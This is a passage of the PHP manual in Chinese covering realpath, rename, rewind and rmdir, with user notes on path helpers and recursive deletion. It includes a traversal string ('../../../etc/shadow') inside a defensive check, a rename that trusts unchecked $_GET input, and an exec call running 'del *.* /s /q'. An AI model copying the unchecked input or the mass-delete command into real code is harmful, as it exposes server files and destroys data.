I have written this function so that it does not matter whether the folder exists on the system.  It simply traverses the given path moving up directories at every "/.." that it encounters.  Though this can be used with a file at the end I would be cautious about using it with a query attached as any "/.." in the query will remove the text proir until the previous "/".

<?php
function htmlpath($relative_path)
{
       $realpath = '';
       $q = 0;

       // Remove any ./
       $relative_path = str_replace('/./', '/', $relative_path);
       // Remove trailing /
       if ($relative_path[strlen($relative_path)-1] == '/')
       {
               $relative_path = substr($relative_path, 0, -1);
       }

       $p = strpos($relative_path, '/..', $q);
       while ($p !== false)
       {
               // Get the next part of the path
               if ($p != $q) $realpath .= substr($relative_path, $q, $p);

               // Find the edge of the previous directory
               $i = strrpos($realpath, '/');
               if ($i === false)
               {
                       return false;  // Not enough directories to go up any further.
               }

               // Remove the directory
               $realpath = substr($realpath, 0, $i);
               // Take out the "/.."
               $relative_path = substr($relative_path, 0, $p) . substr($relative_path, $p+3);

               // Find the next "/.."
               $q = $p;
               $p = strpos($relative_path, '/..', $q);
       }

       // Get the rest of the relative path.
       $realpath .= substr($relative_path, $q);
       return $realpath;
}
?>
php.netatjulian-lemburg.de
20-Jul-2005 11:55
You have a realpath.
Now you want a htmlpath.

First Suggestion:
<?php

function htmlpath($relative_path) {
   $realpath=realpath($relative_path);
   $htmlpath=str_replace($_SERVER['DOCUMENT_ROOT'],'',$realpath);
   return $htmlpath;
}
?>

But this does not work on some servers.

Second Suggestion:

<?php

function htmlpath($realpath) {
   $i = substr_count($_ENV["SCRIPT_URL"],'/')."<br>";
   $baserealpath=realpath(str_repeat('../',$i-1));
   $htmlpath=str_replace($baserealpath,'',$realpath);
   return $htmlpath;
}

?>
Lars Scheithauer <l dot scheithauer at gmx dot de>
09-Jun-2005 01:44
This function is also nice to test for security-breaches. You can forbid the script to access files below a certain directory to prevent "../../../etc/shadow" and similar attacks:

<?php

// declare the basic directory for security reasons
// Please do NOT attach a "/"-suffix !
$basedir = '/var/www/cgi-bin/scriptfolder';

// compare the entered path with the basedir
$path_parts = pathinfo($_REQUEST['file_to_get']);
if (realpath($path_parts['dirname']) != $basedir) {
   /* appropriate action against crack-attempt*/
   die ('coding good - h4x1ng bad!');
}

?>

The url "script.php?file_to_get=../../../etc/shadow" will now result in an error.
pulstar at ig dot com dot br
21-Dec-2004 05:43
Sometimes you may need to refer to the absolute path of a file in your website instead of a relative path, but the realpath() function returns the path relative to the server's filesystem, not a path relative to your website root directory.

For example, realpath() may return something like this:

/home/yoursite/public_html/dir1/file.ext

You can't use this in an HTML document, because the web server will not find the file. To do so, you can use:

<?php

function htmlpath($relative_path) {
   $realpath=realpath($relative_path);
   $htmlpath=str_replace($_SERVER['DOCUMENT_ROOT'],'',$realpath);
   return $htmlpath;
}

echo '<img src="',htmlpath('../../relative/path/to/file.ext'),'" border=1>';

?>

It will return something like:

<img src="/dir1/relative/path/to/file.ext" border=1>
carlosreche at yahoo dot com
16-Dec-2004 07:52
In my last function, it will always discard "../" if there are no more parent dirs to go back. But it's a mistake! For example, relative paths like "../../downloads" returns "downloads/", and it should return exactly the same entry (because parent directories for "downloads" may exist in this case). Well, I've corrected this bug. Now:

"C:/downloads/../../../" returns "C:/"
"downloads/../../../"  returns  "../../"

<?php

function real_path($path)
{
   if ($path == "")
   {
       return false;
   }

   $path = trim(preg_replace("/\\\\/", "/", (string)$path));

   if (!preg_match("/(\.\w{1,4})$/", $path)  &&
       !preg_match("/\?[^\\/]+$/", $path)  &&
       !preg_match("/\\/$/", $path))
   {
       $path .= '/';
   }

   $pattern = "/^(\\/|\w:\\/|https?:\\/\\/[^\\/]+\\/)?(.*)$/i";

   preg_match_all($pattern, $path, $matches, PREG_SET_ORDER);

   $path_tok_1 = $matches[0][1];
   $path_tok_2 = $matches[0][2];

   $path_tok_2 = preg_replace(
                   array("/^\\/+/", "/\\/+/"),
                   array("", "/"),
                   $path_tok_2);

   $path_parts = explode("/", $path_tok_2);
   $real_path_parts = array();

   for ($i = 0, $real_path_parts = array(); $i < count($path_parts); $i++)
   {
       if ($path_parts[$i] == '.')
       {
           continue;
       }
       else if ($path_parts[$i] == '..')
       {
           if (  (isset($real_path_parts[0])  &&  $real_path_parts[0] != '..')
               || ($path_tok_1 != "")  )
           {
               array_pop($real_path_parts);
               continue;
           }
       }

       array_push($real_path_parts, $path_parts[$i]);
   }

   return $path_tok_1 . implode('/', $real_path_parts);
}

?>
ash at spamless dot theleys dot net
20-Nov-2004 01:37
sarizmendi is right, and this is very frustrating. I'm trying to use a script with a different virtual root, which process folders/contents. This works perfectly with asp's server.mappath() but realpath() fails, because it's mapping to the same doc root (C:\inetpub\wwwroot) when it should be from a different virtual path (i.e. D:\content). Although I could force this to the static path, I'm trying to use it with a $_GET, and this could point to any of a number of virtual roots.
ilgarm -at- azeronline.com
12-Mar-2004 03:43
I've tested several examples given by other ppls but none were working, at least on windows. so I spent time and wrote my own function for realpath( ) replacement that will work with non-existing paths also.
Here it is. Please, check it, if you have time and let me know about the results. Thanks.

<?php

define( "_PL_OS_SEP", "/" );
define( "_CUR_OS", substr( php_uname( ), 0, 7 ) == "Windows" ? "Win" : "_Nix" );

function checkCurrentOS( $_OS )
{
   if ( strcmp( $_OS, _CUR_OS ) == 0 ) {
       return true;
   }
   return false;
}

function isRelative( $_dir )
{
   if ( checkCurrentOS( "Win" ) ) {
       return ( preg_match( "/^\w+:/", $_dir ) <= 0 );
   }
   else {
       return ( preg_match( "/^\//", $_dir ) <= 0 );
   }
}

function unifyPath( $_path )
{
   if ( checkCurrentOS( "Win" ) ) {
       return str_replace( "\\", _PL_OS_SEP, $_path );
   }
   return $_path;
}

function getRealpath( $_path )
{
   /*
     * This is the starting point of the system root.
     * Left empty for UNIX based and Mac.
     * For Windows this is drive letter and semicolon.
     */
   $__path = $_path;
   if ( isRelative( $_path ) ) {
       $__curdir = unifyPath( realpath( "." ) . _PL_OS_SEP );
       $__path = $__curdir . $__path;
   }
   $__startPoint = "";
   if ( checkCurrentOS( "Win" ) ) {
       list( $__startPoint, $__path ) = explode( ":", $__path, 2 );
       $__startPoint .= ":";
   }
   # From now processing is the same for WIndows and Unix, and hopefully for others.
   $__realparts = array( );
   $__parts = explode( _PL_OS_SEP, $__path );
   for ( $i = 0; $i < count( $__parts ); $i++ ) {
       if ( strlen( $__parts[ $i ] ) == 0 || $__parts[ $i ] == "." ) {
           continue;
       }
       if ( $__parts[ $i ] == ".." ) {
           if ( count( $__realparts ) > 0 ) {
               array_pop( $__realparts );
           }
       }
       else {
           array_push( $__realparts, $__parts[ $i ] );
       }
   }
   return $__startPoint . _PL_OS_SEP . implode( _PL_OS_SEP, $__realparts );
}

echo "getRealpath ../../x: ". getRealpath( "../../x" ) . "<BR>\n";
echo "getRealpath ./../x: ". getRealpath( "./../x" ) . "<BR>\n";
echo "getRealpath x: ". getRealpath( "x" ) . "<BR>\n";
echo "getRealpath /../x: ". getRealpath( "/../x" ) . "<BR>\n";
echo "getRealpath d:/../../x: ". getRealpath( "d:/../../x" ) . "<BR>\n";
echo "getRealpath ./../xx/xxx/.////../yyy: ". getRealpath( "./../xx/xxx/.////../yyy" ) . "<BR>\n";

?>
eric at themepark dot com
18-Jul-2002 09:15
note that realpath() will chop any trailing delimiter like \ or / ...don't forget to add it back on if you need it.

Eric Mueller - themepark.com
jemptyg at rwmc dot net
06-Jul-2001 06:38
realpath() seems to be equivalent to ASP's Server.MapPath.  On my Win2k box I have successfully used realpath() to give me the full path for a file outside of the document_root.  This will be very useful in conjunction with is_dir and/or is_file, which require a full path.
jerome at dot451 dot com
29-Aug-2000 03:03
mkdir (and realpath) did not work because i'd used virtual() function to replace server side include in my file.
And i've just seen that virtual() function changes the current directory ... that's why !

jerome ;)
add a note add a note

后退 | 起点 | 前进
readlink | 上一级 | rename


rename

(PHP 3, PHP 4, PHP 5)

rename -- 重命名一个文件或目录

说明

bool rename ( string oldname, string newname [, resource context] )

尝试把 oldname 重命名为 newname。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. rename() 例子

<?php
rename("/tmp/tmp_file.txt", "/home/user/login/docs/my_file.txt");
?>

注: 在 PHP 4.3.3 之前，rename() 不能在基于 *nix 的系统中跨磁盘分区重命名文件。

注: 自 PHP 5.0.0 起 rename() 也可用于某些 URL 封装协议。参见附录 L 的列表看看 rename() 支持哪些 URL 封装协议。

注: 用于 oldname 中的封装协议必须和用于 newname 中的相匹配。

注: 对 context 的支持是 PHP 5.0.0 添加的。有关 context 的说明请参考参考 CXLI, Stream Functions。

参见 copy()，unlink() 和 move_uploaded_file()。

add a note add a note User Contributed Notes
kitty_zoso at NOSPAMyahoo dot com
02-Feb-2006 03:45
Beware of rename if you're interested in preserving the case of filenames.  I'm writing a backup application using the command line version of php 5 on Windows XP and wanted to detect when the case of a source dir entry changed so I could rename it on the backup drive.

For instance, \common\kathy has been renamed to \common\Kathy on the source drive, so I wanted to rename the target directory, so a restore operation will have the new name to use.  The rename function didn't return false, but didn't change the case of the entry!  As a workaround (ugh) I change it to "something else" then do the final rename: instead of

rename('kathy','Kathy');

I use

rename('kathy', '~kathy~');
rename('~kathy~', 'Kathy');
bobbfwed at comcast dot net
27-Jan-2006 04:30
I have programmed a really nice program that remotely lets you manage files as if you have direct access to them (http://sourceforge.net/projects/filemanage/). I have a bunch of really handy functions to do just about anything to files or directories. In it I just finished redevloping the directory move function to utilize PHP's rename() since it is way more efficient than a copy/delete process. It goes through (recursivly) and renames all the files to a new location instead of copying them. It recreates the directory structure in the new location. It also allows you to overwrite the existing files, or not.
Here is the function I made; it will likely need tweaking to work as a standalone script, since it relies of variables set by my program (eg: loc1 -- which dynamically changes in my program):

<?PHP
  // loc1 is the path on the computer to the base directory that may be moved
define('loc1', 'C:/Program Files/Apache Group/Apache/htdocs', true);

  // move a directory and all subdirectories and files (recursive)
  // void dirmv( str 'source directory', str 'destination directory' [, bool 'overwrite existing files' [, str 'location within the directory (for recurse)']] )
function dirmv($source, $dest, $overwrite = false, $funcloc = NULL){

  if(is_null($funcloc)){
   $dest .= '/' . strrev(substr(strrev($source), 0, strpos(strrev($source), '/')));
   $funcloc = '/';
  }

  if(!is_dir(loc1 . $dest . $funcloc))
   mkdir(loc1 . $dest . $funcloc); // make subdirectory before subdirectory is copied

  if($handle = opendir(loc1 . $source . $funcloc)){ // if the folder exploration is sucsessful, continue
   while(false !== ($file = readdir($handle))){ // as long as storing the next file to $file is successful, continue
     if($file != '.' && $file != '..'){
       $path  = $source . $funcloc . $file;
       $path2 = $dest . $funcloc . $file;

       if(is_file(loc1 . $path)){
         if(!is_file(loc1 . $path2)){
           if(!@rename(loc1 . $path, loc1 . $path2)){
             echo '<font color="red">File ('.$path.') could not be moved, likely a permissions problem.</font>';
           }
         } elseif($overwrite){
           if(!@unlink(loc1 . $path2)){
             echo 'Unable to overwrite file ("'.$path2.'"), likely to be a permissions problem.';
           } else
             if(!@rename(loc1 . $path, loc1 . $path2)){
               echo '<font color="red">File ('.$path.') could not be moved while overwritting, likely a permissions problem.</font>';
             }
         }
       } elseif(is_dir(loc1 . $path)){
         dirmv($source, $dest, $overwrite, $funcloc . $file . '/'); //recurse!
         rmdir(loc1 . $path);
       }
     }
   }
   closedir($handle);
  }
} // end of dirmv()
?>

This new function will be in 0.9.7 (the next release of File Manage) which should release sometime early February.
Hope this helps some people.
php at froghh dot de
20-Jan-2006 07:00
Remark for "php at stock-consulting dot com"'s note:
This depends on the operating system.
On windows-systems you can't rename a file to an existing destination (ok, with tools you can - but they unlink the exisiting one before).
php at stock-consulting dot com
04-Jan-2006 06:36
rename() fails with PHP4 and PHP5 under Windows if the destination file exists, regardless of file permission settings. I now use a function similar to that of ddoyle [at] canadalawbook [dot] ca, which first tries rename(), checks if it returned FALSE and then uses copy()/unlink() if it failed.

However, copy() is, unlike rename(), NOT useable for "atomic updates". Another process may actually access the destination file while copy() is working. In such a case, the other process with perceive the file as empty or with incomplete content ("half written").
php-public at macfreek dot nl
19-Dec-2005 03:33
It is unclear what encoding the arguments of rename should have; For PHP 4.3, on a HFS+ filesystems, rename() did not handle UTF-8 strings, and returned an error.
jmalinsky at gmail dot com
10-Dec-2005 05:41
On WinXP/PHP 5+, not only does rename()  not follow the *nix rename as noted below, but other things (do not) happen.  If you're trying to rename a directory, files within the directory will NOT be present in the renamed directory, though sub-directories WILL be present.  Ultra-strange.  And as noted, your 'old' directory will remain on the server totally intact, which can be very confusing.

To try and rename a folder on XP via PHP, I wound up using a workaround: first i used the copydirr() function posted by makarenkoa at ukrpost dot net on the "copy" page of the online manual to copy all folders and files within the original directory to the new one... and then to delete the original directory (and all files/folders beneath it), i used the delDir() function corrected by czambran at gmail dot com on the "rmdir" page of the online manual.  Why didn't I use unlink()?  Because, unlink does NOT work on Windows systems either (and even if it did work, its not recursive without extra coding).

So, all in all, rename() is pretty much a useless function if you are intending to rename a folder on an XP box.
tbrillon at gmail dot com
15-Sep-2005 04:27
I needed to move a file to another folder regardless if that file existed in the target already so I wrote a small piece to append a unique number to each file.

$rem = $_GET['file'];
$ticket = uniqid(rand(), true);

rename("$rem", "www/home/storefile/$ticket$rem");

the output looks like this - 6881432893ad4925a1.70147481filename.txt

This also helps if you want different versions of the file stored.
ddoyle [at] canadalawbook [dot] ca
08-Sep-2005 06:35
rename() definitely does not follow the *nix rename convention on WinXP with PHP 5.  If the $newname exists, it will return FALSE and $oldname and $newname will remain in their original state.  You can do something like this instead:

function rename_win($oldfile,$newfile) {
   if (!rename($oldfile,$newfile)) {
     if (copy ($oldfile,$newfile)) {
         unlink($oldfile);
         return TRUE;
     }
     return FALSE;
   }
   return TRUE;
}
tomfelker at gmail dot com
12-Aug-2005 05:51
Actually, I'm pretty sure that rename follows the convention of *nix rename(2) in overwriting the destination if it exists atomically (meaning that no other process will see the destination cease to exist, even for an instant).  This is useful because it allows you to build a file as a temp file, then rename it to where you want it to be, and nobody sees the file when it's half done.

Probably rename($old, $new) with an existing new was caused by permission problems.  I bet the other problems you had were the result of not calling clearstatcache(), which can cause PHP to act like a file exists though it has since been deleted.
JRog
28-May-2005 02:44
To anyone wondering, rename($old, $new) returns FALSE if $new already exists.  My script called for overwriting the file if it existed so I did this:

if(file_exists($new)) { unlink($new); }
$ok = rename($old, $new);

This did not work as expected.  If $new actually existed then it worked fine.  That is the file found at path $new was deleted and replaced with the file found at path $old.  However, if $new did NOT exist then the result was the file at  path $old vanished into oblivion.  After debugging a bit, it seems that rename() was getting executed before the if-statement.  So rename() moved $old to $new, THEN the if-statement evaluated to true and deleted the file I just moved.  Anyway, this fixed it:

if(file_exists($new)) {
   unlink($new);
   $ok = rename($old, $new);
} else { $ok = rename($old, $new); }

Very strange ... I hope this helps somebody
sophie at sitadelle dot com
15-Nov-2003 12:22
Hello!
For unix/linux users: it is usefull to know that if you use rename() for a directory, the new one will be created with the current umask!
blujay
09-Feb-2002 05:32
You can always chdir() to the parent directory of what you're renaming, and rename the directory or file directly.  For example:

$oldWD = getcwd();
chdir($dirWhereRenameeIs);
rename($oldFilename, $newFilename);
chdir($oldWD);
pearcec at commnav dot com
16-Jun-2001 04:17
If you rename one directory to another where the second directory exists as an empty directory it will not complain.

Not what I expected.

[pearcec@abe tmp]$ mkdir test1
[pearcec@abe tmp]$ mkdir test2
[pearcec@abe tmp]$ touch test1/test
[pearcec@abe tmp]$ php
<?php
rename("test1","test2");
?>
X-Powered-By: PHP/4.0.5
Content-type: text/html

[pearcec@abe tmp]$ ls -al
total 12
drwxr-xr-x    3 pearcec  commnav      4096 Jun 15 13:17 .
drwxr-xr-x  18 pearcec  commnav      4096 Jun 15 13:15 ..
drwxr-xr-x    2 pearcec  commnav      4096 Jun 15 13:16 test2
[pearcec@abe tmp]$ ls -la test2/
total 8
drwxr-xr-x    2 pearcec  commnav      4096 Jun 15 13:16 .
drwxr-xr-x    3 pearcec  commnav      4096 Jun 15 13:17 ..
-rw-r--r--    1 pearcec  commnav        0 Jun 15 13:16 test
[pearcec@abe tmp]$
michael-nospam at sal dot mik dot hyperlink dot net dot au
25-Nov-1999 03:43
Note, that on Unix, a rename is a beautiful way of getting atomic updates to files.

Just copy the old contents (if necessary), and write the new contents into a new file, then rename over the original file.

Any processes reading from the file will continue to do so, any processes trying to open the file while you're writing to it will get the old file (because you'll be writing to a temp file), and there is no "intermediate" time between there being a file, and there not being a file (or there being half a file).

Oh, and this only works if you have the temp file and the destination file on the same filesystem (eg. partition/hard-disk).
add a note add a note

后退 | 起点 | 前进
realpath | 上一级 | rewind


rewind

(PHP 3, PHP 4, PHP 5)

rewind -- 倒回文件指针的位置

说明

bool rewind ( resource handle )

将 handle 的文件位置指针设为文件流的开头。

如果成功则返回 TRUE，失败则返回 FALSE。

文件指针必须合法，并且指向由 fopen() 成功打开的文件。

注: 如果将文件以附加（"a" 或者 "a+"）模式打开，写入文件的任何数据总是会被附加在后面，不管文件指针的位置。

参见 fseek() 和 ftell()。

add a note add a note User Contributed Notes
berndt at www dot michael - berndt dot de
05-May-2005 03:27
little counter with rewind()
http://www.michael-berndt.de/ie/tux/counter.htm
evan at ozhiker dot no_spam dot com
05-Aug-2004 11:56
As with fseek(), the rewind() function may not be used on file pointers returned by fopen() if they use the "http://" or "ftp://" formats.
add a note add a note

后退 | 起点 | 前进
rename | 上一级 | rmdir


rmdir

(PHP 3, PHP 4, PHP 5)

rmdir -- 删除目录

说明

bool rmdir ( string dirname )

尝试删除 dirname 所指定的目录。 该目录必须是空的，而且要有相应的权限。如果成功则返回 TRUE，失败则返回 FALSE。

注: 自 PHP 5.0.0 起 rmdir() 也可用于某些 URL 封装协议。参见附录 L 的列表看看 rmdir() 支持哪些 URL 封装协议。

注: 对 context 的支持是 PHP 5.0.0 添加的。有关 context 的说明请参考参考 CXLI, Stream Functions。

注: 当安全模式被激活时，PHP 将检查被操作的目录是否和正在执行的脚本有相同的 UID（所有者）。

参见 mkdir() 和 unlink()。

add a note add a note User Contributed Notes
les_diadoques at worldonline dot fr
06-Jun-2006 04:00
For PHP 3-4-5.
No trailing "/" at the end of the path.

<?php

function remove_directory($dir) {
  if ($handle = opendir("$dir")) {
   while (false !== ($item = readdir($handle))) {
     if ($item != "." && $item != "..") {
       if (is_dir("$dir/$item")) {
         remove_directory("$dir/$item");
       } else {
         unlink("$dir/$item");
         echo " removing $dir/$item<br>\n";
       }
     }
   }
   closedir($handle);
   rmdir($dir);
   echo "removing $dir<br>\n";
  }
}

remove_directory("/path/to/dir");

?>
brianleeholub at yahoo dot com
12-May-2006 02:30
this will only work in php5 (scandir).

feed this function the path to a directory (INCLUDE TRAILING /) and it'll clean it of all contents (if it contains a directory with more stuff it'll dive down and clean that out). use with care!

remove_directory('/path/to/crap/for/deletion/');

function remove_directory($dir) {
       $dir_contents = scandir($dir);
       foreach ($dir_contents as $item) {
           if (is_dir($dir.$item) && $item != '.' && $item != '..') {
               remove_directory($dir.$item.'/');
           }
           elseif (file_exists($dir.$item) && $item != '.' && $item != '..') {
               unlink($dir.$item);
           }
       }
       rmdir($dir);
   }
not at any dot com
15-Apr-2006 02:21
Save some time, if you want to clean a directory or delete it and you're on windows.

Use This:

           chdir ($file_system_path);
           exec ("del *.* /s /q");

You can use other DEL syntax, or any other shell util.
You may have to allow the service to interact with the desktop, as that's my current setting and I'm not changing it to test this.
dao at design-noir.de
19-Feb-2006 07:17
[bobbfwed at comcast dot net], you posted really bad code. The constant and the global variable are absolutely useless and make the function inflexible and fault-prone. Furthermore your error echo'ing is weird, you should use trigger_error().

Now, since previous rmdirr() implementations lack the ability to simply clear a directory and ClearDirectory() / RemoveDirectory() by [mn dot yarar at gmail dot com] didn't work with nested directories, I've rewritten them: http://en.design-noir.de/webdev/PHP/rmdirr_cleardir/
bobbfwed at comcast dot net
03-Feb-2006 03:20
I have programmed a really nice program that remotely lets you manage files as if you have direct access to them (http://sourceforge.net/projects/filemanage/). I have a bunch of really handy functions to do just about anything to files or directories. In it I use this directory delete function.
Here is the function I made; it will likely need tweaking to work as a standalone script, since it relies of variables set by my program (eg: loc1 -- which dynamically changes in my program):

<?PHP

  // loc1 is the path on the computer to the base directory that may be moved
define('loc1', 'C:/Program Files/Apache Group/Apache/htdocs', true);

  // use this format:
$dir = '[reletive path]';
if(remdir($dir))
  rmdir($dir);
else
  echo 'There was an error.';

  // this function deletes all files and sub directories directories in a directory
  // bool remdir( str 'directory path' )
function remdir($dir){

  if(!isset($GLOBALS['remerror']))
   $GLOBALS['remerror'] = false;

  if($handle = opendir(loc1 . $dir)){          // if the folder exploration is sucsessful, continue
   while (false !== ($file = readdir($handle))){ // as long as storing the next file to $file is successful, continue
     $path = $dir . '/' . $file;
     if(is_file(loc1 . $path)){
       if(!unlink(loc1 . $path)){
         echo '<u><font color="red">"' . $path . '" could not be deleted. This may be due to a permissions problem.</u><br>Directory cannot be deleted until all files are deleted.</font><br>';
         $GLOBALS['remerror'] = true;
         return false;
       }
     } else
     if(is_dir(loc1 . $path) && substr($file, 0, 1) != '.'){
       remdir($path);
       @rmdir(loc1 . $path);
     }
   }
   closedir($handle); // close the folder exploration
  }

  if(!$GLOBALS['remerror']) // if no errors occured, delete the now empty directory.
   if(!rmdir(loc1 . $dir)){
     echo '<b><font color="red">Could not remove directory "' . $dir . '". This may be due to a permissions problem.</font></b><br>';
     return false;
   } else
     return true;

  return false;
} // end of remdir()
?>

This new function will be in 0.9.7 (the current release of File Manage) which was just released.
Hope this helps some people.
mn dot yarar at gmail dot com
02-Feb-2006 06:36
/***********************************
Author : M. Niyazi Yarar
Created : February, 2006
Description : Simply clean files
and removes the directory

If any error occurs or for your suggestions,
please send me e-mail
***********************************/
function ClearDirectory($path){
   if($dir_handle = opendir($path)){
       while($file = readdir($dir_handle)){
           if($file == "." || $file == ".."){
               if(!@unlink($path."/".$file)){
                   continue;
               }
           }else{
               @unlink($path."/".$file);
           }
       }
       closedir($dir_handle);
       return true;
// all files deleted
   }else{
       return false;
// directory doesnt exist
   }
}
function RemoveDirectory($path){
   if(ClearDirectory($path)){
       if(rmdir($path)){
           return true;
// directory removed
       }else{
           return false;
// directory couldnt removed
       }
   }else{
       return false;
// no empty directory
   }
}
/***************************************
Example Usage

if(RemoveDirectory("/mysite/images")){
   echo 'Uughh! All images gone!';
}else{
   echo 'Ohh, well done. I am so lucky';
}
***************************************/
Andreas Kalsch (akidee.de)
03-Jan-2006 03:43
a function that deletes a directory - beginning with the deepest directory and its files.

- it really works if you have enough rights.
- it returns a boolean value if everything is properly done.

function deleteDir($dir)
{
   if (substr($dir, strlen($dir)-1, 1) != '/')
       $dir .= '/';

   echo $dir;

   if ($handle = opendir($dir))
   {
       while ($obj = readdir($handle))
       {
           if ($obj != '.' && $obj != '..')
           {
               if (is_dir($dir.$obj))
               {
                   if (!deleteDir($dir.$obj))
                       return false;
               }
               elseif (is_file($dir.$obj))
               {
                   if (!unlink($dir.$obj))
                       return false;
               }
           }
       }

       closedir($handle);

       if (!@rmdir($dir))
           return false;
       return true;
   }
   return false;
}
almann
30-Nov-2005 11:06
some systems coudnd erase directorys while they are open. So its better to set @closedir($dh); before trying to erase with @rmdir($dir);
stefano at takys dot it
24-Nov-2005 10:26
becouse all the examples fails if there are hiddenfiles (.filename) somewhere, I write this short and power function to erase a tree independtly from his content

/**
 * rm() -- Very Vigorously erase files and directories. Also hidden files !!!!
 *
 * @param $dir string
 *                  be carefull to:
 *                        if($obj=='.' || $obj=='..') continue;
 *                    if not it will erase all the server...it happened to me ;)
 *                    the function is permission dependent.
 */
function rm($dir) {
   if(!$dh = @opendir($dir)) return;
   while (($obj = readdir($dh))) {
       if($obj=='.' || $obj=='..') continue;
       if (!@unlink($dir.'/'.$obj)) rm($dir.'/'.$obj);
   }
   @rmdir($dir);
}
andy at mentalist dot co dot uk
17-Nov-2005 06:17
# Clears temporary directory and any files or sub directories
# using a stack, without evil recursion.
#
# Andy Gale - 17/11/2005

function clear_tmp_dir($dir)
{
   $stack = array($dir);

   while (count($stack)) {
       # Get last directory on stack
       $dir = end($stack);

       $dh = opendir($dir);
       if (!$dh) {
           trigger_error('clear_tmp_dir: unable to opendir ' . $dir, E_USER_ERROR);
       }

       while (($file = readdir($dh)) !== false) {
           if ($file == '.' or $file == '..') {
               continue;
           }

           if (is_dir($dir . DIRECTORY_SEPARATOR . $file)) {
               $stack[] = $dir . DIRECTORY_SEPARATOR . $file;
           } else if (is_file($dir . DIRECTORY_SEPARATOR . $file)) {
               unlink($dir . DIRECTORY_SEPARATOR . $file);
           } else {
               trigger_error('clear_tmp_dir: ignoring ' . $dir .
                             DIRECTORY_SEPARATOR . $file, E_USER_ERROR);
           }
       }

       if (end($stack) == $dir) {
           rmdir($dir);
           array_pop($stack);
       }
   }
}
lodemessemaker at hotmail dot com
22-Sep-2005 08:13
In reaction to the function rmdirr() by makarenkoa at ukrpost dot net:

If verbose is set to TRUE, it will only work in the first (target) directory, and not in subdirectories. To make the function verbose in subdirectories as well, change the following:

<?php
...
       if(is_dir($object))
           rmdirr($object);
...
?>

TO

<?php
...
       if(is_dir($object))
           rmdirr($object,$verbose);
?>
dexn (at) metazure.com
03-Aug-2005 08:01
Here's a short function I wrote to remove a directory and all it's contents using the glob() function:

function rmdirr($dir) {
   if($objs = glob($dir."/*")){
       foreach($objs as $obj) {
           is_dir($obj)? rmdirr($obj) : unlink($obj);
       }
   }
   rmdir($dir);
}
makarenkoa at ukrpost dot net
25-Jul-2005 02:07
<?php
// rmdirr.inc.php
/*
25.07.2005
Author: Anton Makarenko
   makarenkoa at ukrpost dot net
   webmaster at eufimb dot edu dot ua
Original idea:
   http://ua2.php.net/manual/en/function.rmdir.php
   28-Apr-2005 07:35
   development at lab-9 dot com
*/
function rmdirr($target,$verbose=false)
// removes a directory and everything within it
{
$exceptions=array('.','..');
if (!$sourcedir=@opendir($target))
   {
   if ($verbose)
       echo '<strong>Couldn&#146;t open '.$target."</strong><br />\n";
   return false;
   }
while(false!==($sibling=readdir($sourcedir)))
   {
   if(!in_array($sibling,$exceptions))
       {
       $object=str_replace('//','/',$target.'/'.$sibling);
       if($verbose)
           echo 'Processing: <strong>'.$object."</strong><br />\n";
       if(is_dir($object))
           rmdirr($object);
       if(is_file($object))
           {
           $result=@unlink($object);
           if ($verbose&&$result)
               echo "File has been removed<br />\n";
           if ($verbose&&(!$result))
               echo "<strong>Couldn&#146;t remove file</strong>";
           }
       }
   }
closedir($sourcedir);
if($result=@rmdir($target))
   {
   if ($verbose)
       echo "Target directory has been removed<br />\n";
   return true;
   }
if ($verbose)
   echo "<strong>Couldn&#146;t remove target directory</strong>";
return false;
}
/*
// sample usage
<?php
require('./lib/rmdirr.inc.php');
rmdirr('D:/srv/Apache2/htdocs/testRm',true);
?>
//*/
?>
m dot winkel at stonkel dot de
09-Jun-2005 12:44
The example in the previous note will stop and return false, if there is an empty subdirectory. I suggest to modify this snipplet of the previous example:

<?
$matching = glob($fileglob);
     if ($matching === false) {
         trigger_error(sprintf('No files match supplied glob %s', $fileglob), E_USER_WARNING);
         return false;
     }

?>

Here is my version:

<?
$matching = glob($fileglob);
     if ($matching === false) {
         return true;
     }
?>

If there are no matching files in the directory, there is no need to delete something or to trigger an error. It just returns true and the (empty) directory will be deleted by the rmdir command.
bishop
06-Jun-2005 03:34
<?php
/**
 * rm() -- Vigorously erase files and directories.
 *
 * @param $fileglob mixed If string, must be a file name (foo.txt), glob pattern (*.txt), or directory name.
 *                        If array, must be an array of file names, glob patterns, or directories.
 */
function rm($fileglob)
{
   if (is_string($fileglob)) {
       if (is_file($fileglob)) {
           return unlink($fileglob);
       } else if (is_dir($fileglob)) {
           $ok = rm("$fileglob/*");
           if (! $ok) {
               return false;
           }
           return rmdir($fileglob);
       } else {
           $matching = glob($fileglob);
           if ($matching === false) {
               trigger_error(sprintf('No files match supplied glob %s', $fileglob), E_USER_WARNING);
               return false;
           }
           $rcs = array_map('rm', $matching);
           if (in_array(false, $rcs)) {
               return false;
           }
       }
   } else if (is_array($fileglob)) {
       $rcs = array_map('rm', $fileglob);
       if (in_array(false, $rcs)) {
           return false;
       }
   } else {
       trigger_error('Param #1 must be filename or glob pattern, or array of filenames or glob patterns', E_USER_ERROR);
       return false;
   }

   return true;
}
?>
php at aithal dot org
28-May-2005 11:25
In the previous examples of recursive rmdir, people should take care to use the proper way of calling readdir:

<?

while (false !== ($file = readdir($dir))) {
   // do some stuff with $file
}

?>

If you don't use this syntax, the loop will halt if it ever comes across a file named '0'.

http://www.php.net/readdir - provides more info on why this is the case.

hth
vittal
development at lab-9 dot com
29-Apr-2005 12:35
Here a small and useful function for removing files by deleting also subdirectories recursive.

this function takes:
$target .. a absolute target path, f.e: /var/www/html/remove_this
$exceptions .. a array of directorynames which don't have to be removed .. usually unused as you want to delete whole directory :-)
$output=true .. outputs a status message of which file or directory the script just has accessed to;

<?php
function delete_files($target, $exceptions, $output=true)
{
   $sourcedir = opendir($target);
   while(false !== ($filename = readdir($sourcedir)))
   {
       if(!in_array($filename, $exceptions))
       {
           if($output)
           { echo "Processing: ".$target."/".$filename."<br>"; }
           if(is_dir($target."/".$filename))
           {
               // recurse subdirectory; call of function recursive
               delete_files($target."/".$filename, $exceptions);
           }
           else if(is_file($target."/".$filename))
           {
               // unlink file
               unlink($target."/".$filename);
           }
       }
   }
   closedir($sourcedir);
   if(rmdir($target))
   { return true; }
   else
   { return false; }
}
?>

here a example of function call:
<?php
$exceptions = array(".", "..");
if(delete_files("/var/www/html/this_dir", $exceptions, true))
{ echo "deletion successed"; }
else
{ echo "deletion failed"; }
?>

KNOWN ISSUE:
if you call the function with an exception folder and that folder is a childfolder, this function won't be able to remove the parent directory and returns false .. :-/ .. if someone knows a workaround please email me :-)
czambran at gmail dot com
06-Mar-2005 03:21
